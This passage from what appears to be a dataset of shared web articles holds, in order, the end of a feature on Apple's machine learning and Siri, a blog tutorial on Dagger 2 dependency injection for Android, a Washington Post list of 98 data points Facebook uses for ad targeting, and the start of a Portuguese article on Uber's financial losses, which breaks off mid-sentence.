really focused on delivering great experiences."" The most recent purchase was Turi , a Seattle company that Apple snatched for a reported $200 million. It has built an ML toolkit that's been compared to Google's TensorFlow, and the purchase fueled speculation that Apple would use it for similar purposes both internally and for developers. Apple's executives wouldn't confirm or deny. ""There are certain things they had that matched very well with Apple from a technology view, and from a people point of view,"" says Cue. In a year or two, we may figure out what happened, as we did when Siri began showing some of the predictive powers of Cue (no relation to Eddy!), a small startup Apple snatched up in 2013. No matter where the talent comes from, Apple's AI infrastructure allows it to develop products and features that would not be possible by earlier means. It's altering the company's product road map. ""Here at Apple there is no end to the list of really cool ideas,"" says Schiller. ""Machine learning is enabling us to say yes to some things that in past years we would have said no to. It's becoming embedded in the process of deciding the products we're going to do next."" One example of this is the Apple Pencil that works with the iPad Pro. In order for Apple to include its version of a high-tech stylus, it had to deal with the fact that when people wrote on the device, the bottom of their hand would invariably brush the touch screen, causing all sorts of digital havoc. Using a machine learning model for ""palm rejection"" enabled the screen sensor to detect the difference between a swipe, a touch, and a pencil input with a very high degree of accuracy. ""If this doesn't work rock solid, this is not a good piece of paper for me to write on anymore - and Pencil is not a good product,"" says Federighi. If you love your Pencil, thank machine learning. Probably the best measure of Apple's machine learning progress comes from its most important AI acquisition to date, Siri. Its origins came from an ambitious DARPA program in intelligent assistants, and later some of the scientists started a company, using the technology to create an app. Steve Jobs himself convinced the founders to sell to Apple in 2010, and directed that Siri be built into the operating system; its launch was the highlight of the iPhone 4S event in October 2011. Now its workings extend beyond the instances where users invoke it by holding down the home button or simply uttering the words ""Hey, Siri."" (A feature that itself makes use of machine learning, allowing the iPhone to keep an ear out without draining the battery.) Siri intelligence is integrated into the Apple Brain, at work even when it keeps its mouth shut. As far as the core product is concerned, Cue cites four components of the product: speech recognition (to understand when you talk to it), natural language understanding (to grasp what you're saying), execution (to fulfill a query or request), and response (to talk back to you). ""Machine learning has impacted all of those in hugely significant ways,"" he says. Siri's head of advanced development Tom Gruber, who came to Apple along with the original acquisition (his co-founders left after the 2011 introduction), says that even before Apple applied neural nets to Siri, the scale of its user base was providing data that would be key in training those nets later on. ""Steve said you're going to go overnight from a pilot, an app, to a hundred million users without a beta program,"" he says. ""All of a sudden you're going to have users . They tell you how people say things that are relevant to your app. That was the first revolution. And then the neural networks came along "" Siri's transition to a neural net handling speech recognition got into high gear with the arrival of several AI experts including Alex Acero, who now heads the speech team. Acero began his career in speech recognition at Apple in the early '90s, and then spent many years at Microsoft Research. ""I loved doing that and published many papers,"" he says. ""But when Siri came out I said this is a chance to make these deep neural networks all a reality, not something that a hundred people read about, but used by millions."" In other words, he was just the type of scientist Apple was seeking - prioritizing product over publishing. When Acero arrived three years ago, Apple was still licensing much of its speech technology for Siri from a third party, a situation due for a change. Federighi notes that this is a pattern Apple repeats consistently. ""As it becomes clear a technology area is critical to our ability to deliver a great product over time, we build our in-house capabilities to deliver the experience we want. To make it great, we want to own and innovate internally. Speech is an excellent example where we applied stuff available externally to get it off the ground."" The team began training a neural net to replace Siri's original. ""We have the biggest and baddest GPU (graphics processing unit microprocessor) farm cranking all the time,"" says Acero. ""And we pump lots of data."" The July 2014 release proved that all those cycles were not in vain. ""The error rate has been cut by a factor of two in all the languages, more than a factor of two in many cases,"" says Acero. ""That's mostly due to deep learning and the way we have optimized it - not just the algorithm itself but in the context of the whole end-to-end product."" The ""end-to-end"" reference is telling. Apple isn't first company to use DNNs in speech recognition. But Apple makes the argument that by being in control of the entire delivery system, it has an advantage. Because Apple makes its own chips, Acero says he was able to work directly with the silicon design team and the engineers who write the firmware for the devices to maximize performance of the neural net. The needs of the Siri team influenced even aspects of the iPhone's design. ""It's not just the silicon,"" adds Federighi. ""It's how many microphones we put on the device, where we place the microphones. How we tune the hardware and those mics and the software stack that does the audio processing. It's all of those pieces in concert. It's an incredible advantage versus those who have to build some software and then just see what happens."" Another edge: when an Apple neural net works in one product, it can become a core technology used for other purposes. So the machine learning that helps Siri understand you becomes the engine to handle dictation instead of typing. As a result of the Siri work, people find that their messages and emails are more likely to be coherent if they eschew the soft keyboard and instead click on the microphone key and talk. The second Siri component Cue mentioned was natural language understanding. Siri began using ML to understand user intent in November 2014, and released a version with deeper learning a year later. As it had with speech recognition, machine learning improved the experience - especially in interpreting commands more flexibly. As an example, Cue pulls out his iPhone and invokes Siri. ""Send Jane twenty dollars with Square Cash,"" he says. The screen displays a screen reflecting his request. Then he tries again, using a little different language. ""Shoot twenty bucks to my wife."" Same result. Apple now says that without those advances in Siri, it's unlikely it would have produced the current iteration of the Apple TV, distinguished by sophisticated voice control. While the earlier versions of Siri forced you to speak in a constrained manner, the supercharged-by-deep-learning version can not only deliver specific choices from a vast catalog of movies and songs, but also handle concepts: Show me a good thriller with Tom Hanks . (If Siri is really smart, it'll rule out The Da Vinci Code.) ""You wouldn't be able to offer that prior to this technology,"" says Federighi. With iOS 10, scheduled for full release this fall, Siri's voice becomes the last of the four components to be transformed by machine learning. Again, a deep neural network has replaced a previously licensed implementation. Essentially, Siri's remarks come from a database of recordings collected in a voice center; each sentence is a stitched-together patchwork of those chunks. Machine learning, says Gruber, smooths them out and makes Siri sound more like an actual person. Acero does a demo - first the familiar Siri voice, with the robotic elements that we've all become accustomed to. Then the new one, which says, ""Hi, what can I do for you?"" with a sultry fluency. What made the difference? ""Deep learning, baby,"" he says. Though it seems like a small detail, a more natural voice for Siri actually can trigger big differences. ""People feel more trusting if the voice is a bit more high-quality,"" says Gruber. ""The better voice actually pulls the user in and has them use it more. So it has an increasing-returns effect."" The willingness to use Siri, as well as the improvements made by machine learning, becomes even more important as Apple is finally opening Siri up to other developers, a process that Apple's critics have noted is long overdue. Many have noted that Apple, whose third-party Siri partners number in the double figures, is way behind a system like Amazon's Alexa, which boasts over 1000 ""skills"" provided by outsider developers. Apple says the comparison doesn't hold, because on Amazon users have to use specific language to access the skills. Siri will integrate things like SquareCash or Uber more naturally, says Apple. (Another competitor, Viv  - created by the other Siri co-founders - also promises tight integration, when its as-yet-unannounced launch date arrives.) Meanwhile, Apple reports that the improvements to Siri have been making a difference, as people discover new features or find more success from familiar queries. ""The number of requests continues to grow and grow,"" says Cue. ""I think we need to be doing a better job communicating all the things we do. For instance, I love sports, and you can ask it who it thinks is going to win the game and it will come back with an answer. I didn't even know we were doing that!"" Probably the biggest issue in Apple's adoption of machine learning is how the company can succeed while sticking to its principles on user privacy. The company encrypts user information so that no one, not even Apple's lawyers, can read it (nor can the FBI, even with a warrant). And it boasts about not collecting user information for advertising purposes. While admirable from a user perspective, Apple's rigor on this issue has not been helpful in luring top AI talent to the company. ""Machine learning experts, all they want is data,"" says a former Apple employee now working for an AI-centric company. ""But by its privacy stance, Apple basically puts one hand behind your back. You can argue whether it's the right thing to do or not, but it's given Apple a reputation for not being real hardcore AI folks."" This view is hotly contested by Apple's executives, who say that it's possible to get all the data you need for robust machine learning without keeping profiles of users in the cloud or even storing instances of their behavior to train neural nets. ""There has been a false narrative, a false trade-off out there,"" says Federighi. ""It's great that we would be known as uniquely respecting user's privacy. But for the sake of users everywhere, we'd like to show the way for the rest of the industry to get on board here."" There are two issues involved here. The first involves processing personal information in machine-learning based systems. When details about a user are gleaned through neural-net processing, what happens to that information? The second issue involves gathering the information required to train neural-nets to recognize behaviors. How can you do that without collecting the personal information of users? Apple says it has answers for both. ""Some people perceive that we can't do these things with AI because we don't have the data,"" says Cue. ""But we have found ways to get that data we need while still maintaining privacy. That's the bottom line."" Apple handles the first issue - protecting personal preferences and information that neural nets identify - by taking advantage of its unique control of both software and hardware. Put simply, the most personal stuff stays inside the Apple Brain. ""We keep some of the most sensitive things where the ML is occurring entirely local to the device,"" Federighi says. As an example, he cites app suggestions, the icons that appear when you swipe right. Ideally, they are exactly the apps you intended to open next. Those predictions are based on a number of factors, many of them involving behavior that is no one's business but your own. And they do work - Federighi says 90 percent of the time people find what they need by those predictions. Apple does the computing right there on the phone. Other information Apple stores on devices includes probably the most personal data that Apple captures: the words people type using the standard iPhone QuickType keyboard. By using a neural network-trained system that watches while you type, Apple can detect key events and items like flight information, contacts, and appointments - but information itself stays on your phone. Even in back-ups that are stored on Apple's cloud, the information is distilled in such a way that it can't be inferred by the backup alone. ""We don't want that information stored in Apple servers,"" says Federighi. ""There is no need that Apple as a corporation needs to know your habits, or when you go where."" Apple also tries to minimize the information kept in general. Federighi mentions an example where you might be having a conversation and someone mentions a term that is a potential search. Other companies might have to analyze the whole conversation in the cloud to identify those terms, he says, but an Apple device can detect it without having the data leave the user's possession - because the system is constantly looking for matches on a knowledge base kept on the phone. (It's part of that 200 megabyte ""brain."") ""It's a compact, but quite thorough knowledge base, with hundreds of thousands of locations and entities. We localize it because we know where you are,"" says Federighi. This knowledge base is tapped by all of Apple's apps, including the Spotlight search app, Maps, and Safari. It helps on auto-correct. ""And it's working continuously in the background,"" he says. The question that comes up in machine learning circles, though, is whether Apple's privacy restrictions will hobble its neural net algorithms - that's the aforementioned second issue. Neural nets need massive amounts of data to be sufficiently trained for accuracy. If Apple won't suck up all its users' behavior, how will it get that data? As many other companies do, Apple trains its nets on publicly available corpuses of information (data sets of stock images for photo recognition, for instance). But sometimes it needs more current or specific information that could only come from its user base. Apple tries to get this information without knowing who the users are; it anonymizes data, tagging it with random identifiers not associated with Apple IDs. Beginning with iOS 10, Apple will also employ a relatively new technique called Differential Privacy , which basically crowd-sources information in a way that doesn't identify individuals at all. Examples for its use might be to surface newly popular words that aren't in Apple's knowledge base or its vocabulary, links that suddenly emerge as more relevant answers to queries, or a surge in the usage of certain emojis. ""The traditional way that the industry solves this problem is to send every word you type, every character you type, up to their servers, and then they trawl through it all and they spot interesting things,"" says Federighi. ""We do end-to-end encryption, so we don't do that."" Though Differential Privacy was hatched in the research community, Apple is taking steps to apply it on a massive scale. ""We're taking it from research to a billion users,"" says Cue. ""We started working on it years ago, and have done really interesting work that is practical at scale,"" explains Federighi. ""And it's pretty crazy how private it is."" (He then describes a system that involves virtual coin-tossing and cryptographic protocols that I barely could follow - and I wrote a book about cryptography. Basically it's about adding mathematical noise to certain pieces of data so that Apple can detect usage patterns without identifying individual users.) He says that Apple's contribution is sufficiently significant - and valuable to the world at large - that it is authorizing the scientists working on the implementation to publish a paper on their work. While it's clear that machine learning has changed Apple's products, what is not so clear is whether it is changing Apple itself. In a sense, the machine learning mindset seems at odds with the Apple ethos. Apple is a company that carefully controls the user experience, down to the sensors that measure swipes. Everything is pre-designed and precisely coded. But when engineers use machine learning, they must step back and let the software itself discover solutions. Can Apple adjust to the modern reality that machine learning systems can themselves have a hand in product design? ""It's a source of a lot of internal debate,"" says Federighi. ""We are used to delivering a very well-thought-out, curated experience where we control all the dimensions of how the system is going to interact with the user. When you start training a system based on large data sets of human behavior, [the results that emerge] aren't necessarily what an Apple designer specified. They are what emerged from the data."" But Apple isn't turning back, says Schiller. ""While these techniques absolutely affect how you design something, at the end of the day we are using them because they enable us to deliver a higher quality product."" And that's the takeaway: Apple may not make declarations about going all-in on machine learning, but the company will use it as much as possible to improve its products. That brain inside your phone is the proof. ""The typical customer is going to experience deep learning on a day-to-day level that [exemplifies] what you love about an Apple product,"" says Schiller. ""The most exciting [instances] are so subtle that you don't even think about it until the the third time you see it, and then you stop and say, How is this happening ?"" Skynet can wait. Creative Art Direction by: Redindhi Studio Photography by: Michelle Le",en
1472229563,CONTENT SHARED,957332268361319692,-1836083230511905974,4271227990757839106,,,,HTML,http://fernandocejas.com/2015/04/11/tasting-dagger-2-on-android/,Tasting Dagger 2 on Android,"Hey! Finally I decided that was a good time to get back to the blog and share what I have dealing with for the last weeks. In this occasion I would like to talk a bit about my experience with Dagger 2 , but first I think that really worth a quick explanation about why I believe that dependency injection is important and why we should definitely use it in our android applications . By the way, I assume that you have have a basic knowledge about dependency injection in general and tools like Dagger / Guice , otherwise I would suggest you to check some of the very good tutorials out there . Let's get our hands dirty then! Why dependency injection? The first (and indeed most important) thing we should know about it is that has been there for a long time and uses Inversion of Control principle, which basically states that the flow of your application depends on the object graph that is built up during program execution, and such a dynamic flow is made possible by object interactions being defined through abstractions. This run-time binding is achieved by mechanisms such as dependency injection or a service locator. Said that we can get to the conclusion that dependency injection brings us important benefits: Since dependencies can be injected and configured externally we can reuse those components. When injecting abstractions as collaborators, we can just change the implementation of any object without having to make a lot of changes in our codebase , since that object instantiation resides in one place isolated and decoupled. Dependencies can be injected into a component: it is possible to inject mock implementations of these dependencies which makes testing easier. One thing that we will see is that we can manage the scope of our instances created, which is something really cool and from my point of view, any object or collaborator in your app should not know anything about instances creation and lifecycle and this should be managed by our dependency injection framework. What is JSR-330? Basically dependency injection for Java defines a standard set of annotations (and one interface) for use on injectable classes in order to to maximize reusability, testability and maintainability of java code. Both Dagger 1 and 2 (also Guice) are based on this standard which brings consistency and an standard way to do dependency injection . Dagger 1 I will be very quick here because this version is out of the purpose of this article. Anyway, Dagger 1 has a lot to offer and I would say that nowadays is the most popular dependency injector used on Android. It has been created by Square inspired by Guice . Its fundamentals are: Multiple injection points: dependencies, being injected. Multiple bindings: dependencies, being provided. Multiple modules: a collection of bindings that implement a feature. Multiple object graphs: a collection of modules that implement a scope. Dagger 1 uses compile time to figure out bindings but also uses reflection, and although it is not used to instantiate objects, it is used for graph composition. All this process happens at runtime, where Dagger tries to figure out how everything fits together, so there is a price to pay: inefficiency sometimes and difficulties when debugging. Dagger 2 Dagger 2 is a fork from Dagger 1 under heavy development by Google, currently version 2.0. It was inspired by AutoValue project ( , useful if you are tired of writing equals and hashcode methods everywhere). From the beginning, the basic idea behind Dagger 2, was to make problems solvable by using code generation, hand written code , as if we were writing all the code that creates and provides our dependencies ourselves. If we compare this version with its predecessor, both are quite similar in many aspects but there are also important differences that worth mentioning: No reflection at all: graph validation, configurations and preconditions at compile time. Easy debugging and fully traceable: entirely concrete call stack for provision and creation. More performance: according to google they gained 13% of processor performance. Code obfuscation: it uses method dispatch, like hand written code. Of course all this cool features come with a price, which makes it less flexible: for instance, there is no dynamism due to the lack of reflection. Diving deeper To understand Dagger 2 it is important (and probably a bit hard in the beginning) to know about the fundamentals of dependency injection and the concepts of each one of these guys (do not worry if you do not understand them yet, we will see examples): @Inject: Basically with this annotation we request dependencies. In other words, you use it to tell Dagger that the annotated class or field wants to participate in dependency injection. Thus, Dagger will construct instances of this annotated classes and satisfy their dependencies. @Module: Modules are classes whose methods provide dependencies, so we define a class and annotate it with @Module, thus, Dagger will know where to find the dependencies in order to satisfy them when constructing class instances. One important feature of modules is that they have been designed to be partitioned and composed together (for instance we will see that in our apps we can have multiple composed modules). Inside modules we define methods containing this annotation which tells Dagger how we want to construct and provide those mentioned dependencies. @Component: Components basically are injectors, let's say a bridge between @Inject and @Module, which its main responsibility is to put both together. They just give you instances of all the types you defined, for example, we must annotate an interface with @Component and list all the @Modules that will compose that component, and if any of them is missing, we get errors at compile time. All the components are aware of the scope of dependencies it provides through its modules. @Scope: Scopes are very useful and Dagger 2 has has a more concrete way to do scoping through custom annotations. We will see an example later, but this is a very powerful feature, because as pointed out earlier, there is no need that every object knows about how to manage its own instances. An scope example would be a class with a custom @PerActivity annotation, so this object will live as long as our Activity is alive. In other words, we can define the granularity of your scopes (@PerFragment, @PerUser, etc). We use this annotation when the type of class is insufficient to identify a dependency. For example in the case of Android, many times we need different types of context, so we might define a qualifier annotation ""@ForApplication"" and ""@ForActivity"" , thus when injecting a context we can use those qualifiers to tell Dagger which type of context we want to be provided. Shut up and show me the code! I guess it is too much theory for now, so let's see in action, although it is a good idea to first set it up by adding the dependencies in our build.gradle file: As you can see we are adding javax annotations, compiler, the runtime library and the apt plugin , which is necessary, otherwise the dagger annotation processor might not work properly, especially I encountered problems on Android Studio. Our example A few months ago I wrote an article about how to implement uncle bob's clean architecture on Android , which I strongly recommend to read so you get a better understanding of what we are gonna do here . Back then, I faced a problem when constructing and providing dependencies of most of the objects involved in my solution, which looked something like this (check out the comments) : As you can see, the way to address this problem is to use a dependency injection framework. We basically get rid of that boilerplate code (which is unreadable and understandable): this class must not know anything about object creation and dependency provision. So how do we do it? Of course we use Dagger 2 features... Let me picture the structure of my dependency injection graph: Let's break down this graphic and explain its parts plus some code. Application Component: A component whose lifetime is the life of the application. It injects both AndroidApplication and BaseActivity classes. As you can see, I use the @Singleton annotation for this component which constraints it to one-per-application. You might be wondering why I'm exposing the Context and the rest of the classes. This is actually an important property of how components work in Dagger: they do not expose types from their modules unless you explicitly make them available. In this case in particular I just exposed those elements to subgraphs and if you try to remove any of them, a compilation error will be triggered. Application Module: This module provides objects which will live during the application lifecycle, that is the reason why all of methods use a scope. A component which will live during the lifetime of an activity. The @PerActivity is a custom scoping annotation to permit objects whose lifetime should conform to the life of the activity to be memorized in the correct component. I really encourage to do this as a good practice, since we get these advantages: The ability to inject objects where and activity is required to be constructed. The use of singletons on a per-activity basis. The global object graph is kept clear of things that can be used only in activities. You can see the code below: This module exposes the activity to dependents in the graph. The reason behind this is basically to use the activity context in a fragment for example. A scoped @PerActivity component that extends ActiviyComponent . Basically I use it in order to injects user specific fragments. Since ActivityModule exposes the activity to the graph (as mentioned earlier), whenever an activity context is needed to satisfy a dependency, Dagger will get it from there and inject it: there is no need to re define it in sub modules. A module that provides user related collaborators. Based on the example , it will provide user use cases basically. Putting everything together Now we have our dependency injection graph implementation, how do we inject dependencies? Something we need to know is that Dagger give us a bunch of options to inject dependencies: Constructor injection: by annotating the constructor of our class with @Inject. Field injection: by annotating a (non private) field of our class with @Inject. Method injection: by annotating a method with @Inject. This is also the order used by Dagger when binding dependencies and it is important because it might happen that you have some strange behavior or even NullPointerExceptions , which means that your dependencies might not have been initialized at the moment of the object creation. This is common on Android when using field injection in Activities or Fragments , since we do not have access to their constructors. Getting back to our example , let's see how we can inject a member to our BaseActivity . In this case we do it with a class called Navigator which is responsible for managing the navigation flow in our app: Since is bound by field injection it is mandatory to be provided explicitly in our ApplicationModule using @Provide annotation . Finally we initialize our component and call the method in order to inject our members. We do this in the method of our by calling getApplicationComponent() . This method has been added here for reusability and its main purpose is to retrieve the ApplicationComponent which was initialized in the Application object. Let's do the same with a presenter in a Fragment. In this case the approach is a bit different since we are using a per-activity scoped component . So our UserComponent which will inject UserDetailsFragment will reside in our UserDetailsActivity : We have to initialize it this way in the onCreate() method of the activity: As you can see when Dagger processes our annotations, creates implementations of our components and rename them adding a ""Dagger"" prefix. Since this is a composed component, when constructing it, we must pass in all its dependencies (both components and modules). Now that our component is ready, we just make it accesible in order to satisfy the fragment dependencies: We bind UserDetailsFragment dependencies by getting the created component and calling the method passing the as a parameter: For the complete example, check the repository on github . There is also some refactor happening and I can tell you that one of the main ideas ( taken from the official examples ) is to have an interface as a contract which will be implemented by every class that has a component . Something like this: Thus, the client (for example a Fragment ) can get the component (from the Activity ) and use it: The use of generics here makes mandatory to do the casting but at least is gonna fail fast whether the client cannot get a component to use . Just ping me if you have any thoughts/ideas on how to solve this in a better way. Dagger 2 code generation After having a taste of Dagger's main features, let's see how does its job under the hood . To illustrate this, we are gonna take again the Navigator class and see how it is created and injected. First let's have a look at our DaggerApplicationComponent which is an implementation of our ApplicationComponent : the first one is that since we are gonna inject our activity, we have a members injector (which Dagger translates to BaseActivity_MembersInjector ): Basically, this guy contains providers for all the injectable members of our Activity so when we call will take the accessible fields and bind the dependencies. regarding our DaggerApplicationComponent , is that we have a which is no more than interface which provides instances of our class and it is constructed by a ScopedProvider (in the initialize() method) which will memorize the scope of the created class. Dagger also generated a Factory called ApplicationModule_ProvideNavigatorFactory for our which is passed as a parameter to the mentioned ScopedProvider in order to get scoped instances of our class. This class is actually very simple , it delegates to our ApplicationModule (which contains our @Provide method() ) the creation of our class. In conclusion, this really looks like hand-written code and it is very easy to understand which makes it easy to debug. There is still much to explore here and a good idea is start debugging and see how Dagger deal with dependency binding. Testing Honestly not too much to say here: for unit tests, I do not think is necessary to create any injector so I do not use Dagger, and by injecting mock collaborators manually works fine till now but when it comes to end-to-end integration tests, Dagger could make more sense: you can replace modules with others that provide mocks. I will appreciate any experience here to add it as part of the article. Wrapping up So far we have had a taste on what Dagger is capable of doing , but still there is a long way ahead of us, so I strongly recommend to read the documentation , watch videos and have a look at the examples . This was actually a small sample for learning purpose and I hope you have found it useful. Remember that any feedback is always welcome. Source code: Example: Further reading: Architecting Android..the evolution Architecting Android..the clean way? The Mayans Lost Guide to RxJava on Android It is about philosophy: Culture of a good programmer References: Architecting Android...The clean way?. Dagger 2, A New Type of Dependency Injection. Dependency Injection with Dagger 2. Dagger 2 has Components. Dagger 2 Official Documentation.",en
1472231685,CONTENT SHARED,1487738553913510703,-1443636648652872475,8773171497951102618,,,,HTML,https://www.washingtonpost.com/news/the-intersect/wp/2016/08/19/98-personal-data-points-that-facebook-uses-to-target-ads-to-you/,98 personal data points that Facebook uses to target ads to you,"Say you're scrolling through your Facebook Newsfeed and you encounter an ad so eerily well-suited, it seems someone has possibly read your brain. Maybe your mother's birthday is coming up, and Facebook's showing ads for her local florist. Or maybe you just made a joke aloud about wanting a Jeep, and Instagram's promoting Chrysler dealerships. Whatever the subject, you've seen ads like this. You've wondered - maybe worried - how they found their way to you. [ How Facebook is slowly eating the rest of the Internet ] Facebook, in its omniscience, knows that you're wondering - and it would like to reassure you. The social network just revamped its ad preference settings to make them significantly easier for users to understand. They've also launched a new ad education portal , which explains, in general terms, how Facebook targets ads. ""We want the ads people see on Facebook to be interesting, useful and relevant,"" a Facebook spokesperson said. But it remains to be seen whether users are pleased or frightened by the new information they suddenly have. Targeting options for Facebook advertisers* 1. Location 2. Age 3. Generation 4. Gender 5. Language 6. Education level 7. Field of study 8. School 9. Ethnic affinity 10. Income and net worth 11. Home ownership and type 12. Home value 13. Property size 14. Square footage of home 15. Year home was built 16. Household composition As explained on that shiny new portal, Facebook keeps ads ""useful and relevant"" in four distinct ways. It tracks your on-site activity, such as the pages you like and the ads you click, and your device and location settings, such as the brand of phone you use and your type of Internet connection. Most users recognize these things impact ad targeting: Facebook has repeatedly said as much. But slightly more surprising is the extent of Facebook's web-tracking efforts and its collaborations with major data brokers. While you're logged onto Facebook, for instance, the network can see virtually every other website you visit. Even when you're logged off, Facebook knows much of your browsing: It's alerted every time you load a page with a ""Like"" or ""share"" button, or an advertisement sourced from its Atlas network. Facebook also provides publishers with a piece of code, called Facebook Pixel, that they (and by extension, Facebook) can use to log their Facebook-using visitors. 17. Users who have an anniversary within 30 days 18. Users who are away from family or hometown 19. Users who are friends with someone who has an anniversary, is newly married or engaged, recently moved, or has an upcoming birthday 20. Users in long-distance relationships 21. Users in new relationships 22. Users who have new jobs 23. Users who are newly engaged 24. Users who are newly married 25. Users who have recently moved 26. Users who have birthdays soon 27. Parents 28. Expectant parents 29. Mothers, divided by ""type"" (soccer, trendy, etc.) 30. Users who are likely to engage in politics 31. Conservatives and liberals 32. Relationship status On top of that, Facebook offers marketers the option to target ads according to data compiled by firms like Experian, Acxiom and Epsilon, which have historically fueled mailing lists and other sorts of offline efforts. These firms build their profiles over a period of years, gathering data from government and public records, consumer contests, warranties and surveys, and private commercial sources - like loyalty card purchase histories or magazine subscription lists. Whatever they gather from those searches can also be fed into a model to draw further conclusions, like whether you're likely to be an investor or buy organic for your kids. When combined with the information you've already given Facebook, through your profile and your clicks, you end up with what is arguably the most complete consumer profile on earth: a snapshot not only of your Facebook activity, but your behaviors elsewhere in the online (and offline!) worlds. 33. Employer 34. Industry 35. Job title 36. Office type 37. Interests 38. Users who own motorcycles 39. Users who plan to buy a car (and what kind/brand of car, and how soon) 40. Users who bought auto parts or accessories recently 41. Users who are likely to need auto parts or services 42. Style and brand of car you drive 43. Year car was bought 44. Age of car 45. How much money user is likely to spend on next car 46. Where user is likely to buy next car 47. How many employees your company has 48. Users who own small businesses 49. Users who work in management or are executives These snapshots are frequently incomplete and flawed , we should note - after all, they rely on lots of assumptions. But generally speaking, they're good enough to have made Facebook an advertising giant. In the second quarter of 2016, the company made $6.4 billion in advertising, a number that's up 63 percent from the year before. And now, Facebook ads aren't only on Facebook.com and its acquired apps - they also populate an external Audience Network. ""Speaking as both a consumer and as an advertiser, I think that Facebook's ad capabilities make internet advertising a better experience overall,"" said Kane Jamison, a Seattle-based marketer who has written about his experience with Facebook ads. ""The majority of promoted topics that I see in my Facebook feed are relevant to my interests, and they're worth clicking on more often."" Not everyone is quite so convinced that Facebook's targeting methods are benevolent, though. Peter Eckersley, the chief computer scientist at the Electronic Frontier Foundation, calls them ""the most invasive in the world."" Yes, he acknowledges, many companies use data brokers to make direct-mail lists, and almost every website utilizes some kind of tracker or cookies - but no company on earth, save Facebook, bundles all that information. 50. Users who have donated to charity (divided by type) 51. Operating system 52. Users who play canvas games 53. Users who own a gaming console 54. Users who have created a Facebook event 55. Users who have used Facebook Payments 56. Users who have spent more than average on Facebook Payments 57. Users who administer a Facebook page 58. Users who have recently uploaded photos to Facebook 59. Internet browser 60. Email service 61. Early/late adopters of technology 62. Expats (divided by what country they are from originally) 63. Users who belong to a credit union, national bank or regional bank 64. Users who investor (divided by investment type) 65. Number of credit lines Take the example of the ad for your mother's local florist: that might have been targeted to women from your hometown (which you've told Facebook) whose mothers' birthdays are coming up (that's in your Facebook calendar), who live away from family (based on off-site activity) and who have a high estimated income (according to Acxiom). Or the mystery of the spoken Jeep joke and displayed the car ad - an adjacency that actually happened on local Florida TV , convincing one newscaster that Facebook ""eavesdropped"" on her. Facebook actually sources data from IHS Automotive, an industry intelligence firm used widely by dealers, banks and financial analysts, and doesn't need eavesdropping to know that your car's 10 years old and you might be back in the auto market. ""Facebook's business model is to amass as much first-party and third-party data on you as possible, and slowly dole out access to it,"" Eckersley said. ""If you're using Facebook, you're entrusting the company with records of everything you do. I think people have reason to be concerned about that."" 66. Users who are active credit card users 67. Credit card type 68. Users who have a debit card 69. Users who carry a balance on their credit card 70. Users who listen to the radio 71. Preference in TV shows 72. Users who use a mobile device (divided by what brand they use) 73. Internet connection type 74. Users who recently acquired a smartphone or tablet 75. Users who access the Internet through a smartphone or tablet 76. Users who use coupons 77. Types of clothing user's household buys 78. Time of year user's household shops most 79. Users who are ""heavy"" buyers of beer, wine or spirits 80. Users who buy groceries (and what kinds) 81. Users who buy beauty products 82. Users who buy allergy medications, cough/cold medications, pain relief products, and over-the-counter meds Eckersley's main concern is how much consumers know about all this tracking - and how much they're able to opt out of it. Facebook says it's been transparent on both counts, and that the revamped ad preferences dashboard, as well as the long-standing ""Why Am I Seeing This Ad?' dropdown, is only the latest proof that it's dedicated to user privacy. But while both the dashboard and the dropdown will rid you of ads you don't like, neither actually lets users opt out completely of any of Facebook's four tracking methods. The preferences manager, for instance, lets users tell Facebook they don't have certain interests that the site has associated with them or their behavior, but there's no way to tell Facebook that you don't want it to track your interests, at all. Likewise, Facebook allows users to opt-out of advertisements based on their use of outside websites and apps. But that doesn't mean that Facebook never tracks those people when they're on other sites, Eckersley said: It just limits some of its more all-seeing methods. And while Facebook did push its data-broker partners to adopt better privacy measures when it began working with them in 2013, each broker still requires you to file an opt-out request with them individually. 83. Users who spend money on household products 84. Users who spend money on products for kids or pets, and what kinds of pets 85. Users whose household makes more purchases than is average 86. Users who tend to shop online (or off) 87. Types of restaurants user eats at 88. Kinds of stores user shops at 89. Users who are ""receptive"" to offers from companies offering online auto insurance, higher education or mortgages, and prepaid debit cards/satellite TV 90. Length of time user has lived in house 91. Users who are likely to move soon 92. Users who are interested in the Olympics, fall football, cricket or Ramadan 93. Users who travel frequently, for work or pleasure 94. Users who commute to work 95. Types of vacations user tends to go on 96. Users who recently returned from a trip 97. Users who recently used a travel app 98. Users who participate in a timeshare There is another option, of course: If Facebook tracking freaks you out, simply don't use it. There are people who want targeted, ""relevant"" ads - and there are others, like Eckersley, who can't stomach it. But wait, what was that? Eckersley has Facebook? Surely hell just froze over. ""It's the paradox of modern life,"" he laughed, adding that he needs the site to keep in touch with friends and family. ""We're strongly incentivized, by the culture around us, to use this technology. It's incredibly useful - and an incredibly giant structural problem for our privacy."" Liked that? Try these: What we really see in Facebook Trending Why Facebook wants its users to 'share' more Creepy startup collects your online information for dates, employers and landlords",en
1472233014,CONTENT SHARED,-8801071115335368509,8759620187357735368,1508984968376089305,,,,HTML,http://gizmodo.uol.com.br/uber-prejuizo-2016/,Por que o Uber vem sofrendo tanto prejuízo entre empresas de tecnologia,"O Uber está perdendo dinheiro bem mais rápido que outras empresas de tecnologia, em grande parte devido a um componente essencial para suas operações: os motoristas. * Os primeiros carros autônomos do Uber ganharão as ruas ainda este mês * Com prejuízos na China, Uber vende operações no país para a rival Didi Segundo a Bloomberg , o Uber teve prejuízo de US$ 1,27 bilhão no primeiro semestre deste ano. Em comparação, a Amazon sofreu perdas de US$ 1,4 bilhão em 2000 durante o maior prejuízo de sua história. O CEO Jeff Bezos demitiu 15% da força de trabalho por causa disso. O Uber está claramente seguindo a velha estratégia ""crescer primeiro, ganhar dinheiro mais tarde"" do Vale do Silício, por isso é esperado que seus custos tenham aumentado à medida que suas operações se expandiram para novas cidades. É surpreendente, no entanto, que o maior custo para a empresa é a taxa paga aos motoristas. De acordo com a Bloomberg, isso respondeu pela maior parte dos gastos - e do prejuízo - no primeiro semestre de 2016. Este mesmo fato é mostrado em documentos vazados pelo site The Information neste ano. O Uber pagou US$ 2,72 bilhões para motoristas no primeiro semestre de 2015 . Em comparação, a empresa gastou apenas US$ 72 milhões em promoções e reduções de preço durante o mesmo período. O Uber vem tentando desesperadamente (e silenciosamente) mitigar suas perdas com os motoristas. Depois de baixar tarifas na América do Norte para atrair novos clientes, a empresa começou a tomar uma percentagem maior das corridas (até 30%). Foram instituídas garantias temporárias de salário por hora em algumas cidades, mas como o BuzzFeed relatou recentemente , eles ainda tomam cerca de um terço dos parcos rendimentos dos motoristas em vários locais dos EUA. Uma reportagem recente da Forbes observa que 